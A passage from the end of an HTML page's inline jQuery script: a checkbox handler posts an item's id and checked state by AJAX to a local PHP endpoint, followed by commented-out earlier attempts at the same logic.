});
});
// if ($("#yourCheckboxID").is(":checked")) {
// checkbox is checked
// } else {
// checkbox is not checked
// }
});
function enableTxt(elem) {
var id = $(elem).val();
var c = 0;
if ( $(elem).prop( "checked" ) )
c = 1;
$.ajax({
type : 'post',
url : 'suivi_sal_action_etat.php', //Here you will fetch records
data : 'id='+id+'&c='+c , //Pass $id
success : function(data){
// $('#fetch2').html(data);//Show fetched data from database
}
});
// $.ajax({
// type : 'post',
// url : 'suivi_sal_action_etat.php', //Here you will fetch records
// data : 'id='+id+'&c='+c ,//Pass $id
// success : function(data){
// $('#fetch2').html(data);//Show fetched data from database
// }
// });
// alert(id);
}
</script>
<script type="text/javascript">
// function processForm(element) {
// var id = element.val();
// var id = $('input:checkbox').val();
// var n = $( "input:checkbox:checked" ).length;
// var id = $('input:checkbox').val();
// var c = $(this).is(':checked');
// var n = $(this).("input:checkbox:checked").length;
// var c = 0;
// if ($('input:checkbox').checked == true)
// c = 1;
// var id = $(this).attr('value');
// if ($(this).is(':checked'))
// alert(id);
// if ( $(this).$('input:checkbox').prop( "checked" ) )
// c = 1;
// alert(id);
// $.ajax( {
// type: 'POST',
// url: '/ajax/checkbox.php?name=foton',
// data: { checked_box : $('input:checkbox:checked').val()},
// success: function(data) {
// $('#message').html(data);
// }
// } );
// }
</script>
</body>
</html>
